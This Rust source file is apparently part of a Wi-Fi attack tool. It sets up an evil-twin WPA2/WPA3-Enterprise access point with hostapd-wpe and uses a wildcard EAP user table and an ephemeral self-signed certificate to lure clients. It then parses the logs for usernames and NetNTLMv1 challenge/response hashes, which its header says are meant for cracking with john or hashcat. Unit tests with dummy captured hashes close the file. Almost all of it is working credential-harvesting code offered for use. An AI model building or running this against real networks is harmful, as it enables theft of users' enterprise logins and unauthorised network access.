//! WPA2/WPA3-Enterprise (802.1X) Evil Twin: clones an Enterprise AP on a //! secondary interface using `hostapd-wpe` to accept EAP (PEAP/EAP-TTLS with //! inner MSCHAPv2) authentication attempts and log NetNTLMv1 challenge/response //! hashes for offline cracking with `john` or `hashcat -m 5500`. //! //! //! //! //! //! Note: because the server certificate is self-signed, clients configured to //! strictly validate the RADIUS CA certificate chain will reject the connection; //! clients without strict CA pinning will complete the inner MSCHAPv2 exchange. //! //! //! //! //! //! //! //! //! //! //! //! //! //! //! use std::fmt::Write as _; /// Generates the `hostapd-wpe` configuration for the Enterprise clone AP. /// /// #[allow(clippy::too_many_arguments)] pub fn hostapd_wpe_conf( iface: &str, ssid: &str, channel: u32, eap_user_path: &str, ca_cert_path: &str, server_cert_path: &str, server_key_path: &str, wpe_logfile_path: &str, ) -> String { let mut out = String::new(); let _ = writeln!(out, "interface={iface}"); let _ = writeln!(out, "driver=nl80211"); let _ = writeln!(out, "ssid={}", sanitize_conf_value(ssid)); let _ = writeln!(out, "hw_mode={}", if channel > 14 { "a" } else { "g" }); let _ = writeln!(out, "channel={channel}"); let _ = writeln!(out, "auth_algs=1"); let _ = writeln!(out, "wmm_enabled=1"); let _ = writeln!(out, "ignore_broadcast_ssid=0"); let _ = writeln!(out, "wpa=2"); let _ = writeln!(out, "wpa_key_mgmt=WPA-EAP"); let _ = writeln!(out, "rsn_pairwise=CCMP"); let _ = writeln!(out, "ieee8021x=1"); let _ = writeln!(out, "eap_server=1"); let _ = writeln!(out, "eap_user_file={eap_user_path}"); let _ = writeln!(out, "ca_cert={ca_cert_path}"); let _ = writeln!(out, "server_cert={server_cert_path}"); let _ = writeln!(out, "private_key={server_key_path}"); let _ = writeln!(out, "wpe_logfile={wpe_logfile_path}"); out } /// Wildcard `eap_user` table: accepts any outer identity for PEAP/TTLS and /// negotiates inner MSCHAPv2 so `hostapd-wpe` logs the challenge/response pair. /// /// pub const DEFAULT_EAP_USER_FILE: &str = concat!( "# gerado pelo Sabiá — aceita qualquer identidade, qualquer EAP externo\n", "* PEAP,TTLS\n", "\"anonymous\" TTLS-MSCHAPV2,MSCHAPV2 \"senha\" [2]\n", ); /// Builds `openssl req` arguments to generate a 1-day ephemeral self-signed /// RSA certificate and private key for the outer EAP-TLS/PEAP/TTLS tunnel. /// /// pub fn openssl_selfsigned_cert_args(key_path: &str, cert_path: &str) -> Vec { [ "req", "-x509", "-newkey", "rsa:2048", "-keyout", key_path, "-out", cert_path, "-days", "1", "-nodes", "-subj", "/CN=sabia-wpe", ] .into_iter() .map(String::from) .collect() } fn sanitize_conf_value(value: &str) -> String { value.replace(['\n', '\r'], "") } /// A captured Enterprise credential: username plus NetNTLMv1 hash string /// (compatible with `john --format=netntlm` and `hashcat -m 5500`). /// #[derive(Debug, Clone, PartialEq, Eq)] pub struct CapturedCredential { pub username: String, pub netntlm: Option, } /// Parses `hostapd-wpe` log output and extracts captured MSCHAPv2 / NetNTLMv1 credentials. /// /// /// /// /// /// /// pub fn captured_identities(log: &str) -> Vec { let mut out: Vec = Vec::new(); let mut current_username: Option = None; for raw_line in log.lines() { let line = raw_line.trim(); if let Some(rest) = line.strip_prefix("username:") { current_username = Some(rest.trim().to_string()); } else if let Some(rest) = line.strip_prefix("jtr NETNTLM:") { let netntlm = rest.trim().to_string(); let username = current_username .clone() .or_else(|| netntlm.split(':').next().map(str::to_string)) .unwrap_or_default(); if !out.iter().any(|c: &CapturedCredential| { c.username == username && c.netntlm.as_deref() == Some(netntlm.as_str()) }) { out.push(CapturedCredential { username, netntlm: Some(netntlm), }); } } } out } #[cfg(test)] mod tests { use super::*; #[test] fn hostapd_wpe_conf_includes_eap_and_tls_directives() { let conf = hostapd_wpe_conf( "wlan1", "Corp\nWifi", 149, "/tmp/eap_user", "/tmp/ca.pem", "/tmp/server.pem", "/tmp/server.key", "/tmp/wpe.log", ); assert!(conf.contains("interface=wlan1")); assert!(conf.contains("ssid=CorpWifi")); assert!(!conf.contains("ssid=Corp\nWifi")); assert!(conf.contains("hw_mode=a")); assert!(conf.contains("ieee8021x=1")); assert!(conf.contains("eap_server=1")); assert!(conf.contains("eap_user_file=/tmp/eap_user")); assert!(conf.contains("wpe_logfile=/tmp/wpe.log")); } #[test] fn openssl_args_reference_the_right_paths() { let args = openssl_selfsigned_cert_args("/tmp/k.key", "/tmp/c.pem"); assert!(args.contains(&"/tmp/k.key".to_string())); assert!(args.contains(&"/tmp/c.pem".to_string())); assert!(args.contains(&"-x509".to_string())); } #[test] fn captured_identities_parses_username_and_netntlm_blocks() { let log = "\ mschapv2: Thu Jan 1 00:00:00 1970 username: bob challenge: aabbccddeeff0011 response: 1122334455667788990011223344556677889900aabbcc jtr NETNTLM: bob:$NETNTLM$aabbccddeeff0011$1122334455667788990011223344556677889900aabbcc mschapv2: Thu Jan 1 00:01:00 1970 username: alice jtr NETNTLM: alice:$NETNTLM$0011223344556677$aabbccddeeff00112233445566778899aabbccdd "; let creds = captured_identities(log); assert_eq!(creds.len(), 2); assert_eq!(creds[0].username, "bob"); assert!(creds[0] .netntlm .as_deref() .unwrap() .starts_with("bob:$NETNTLM$")); assert_eq!(creds[1].username, "alice"); } #[test] fn captured_identities_dedupes_repeated_blocks_across_reparses() { let log = "\ username: bob jtr NETNTLM: bob:$NETNTLM$aa$bb username: bob jtr NETNTLM: bob:$NETNTLM$aa$bb "; let creds = captured_identities(log); assert_eq!(creds.len(), 1); } #[test] fn captured_identities_returns_empty_for_a_log_with_no_credentials_yet() { assert!(captured_identities("").is_empty()); assert!(captured_identities("hostapd-wpe v2.x starting up\n").is_empty()); } }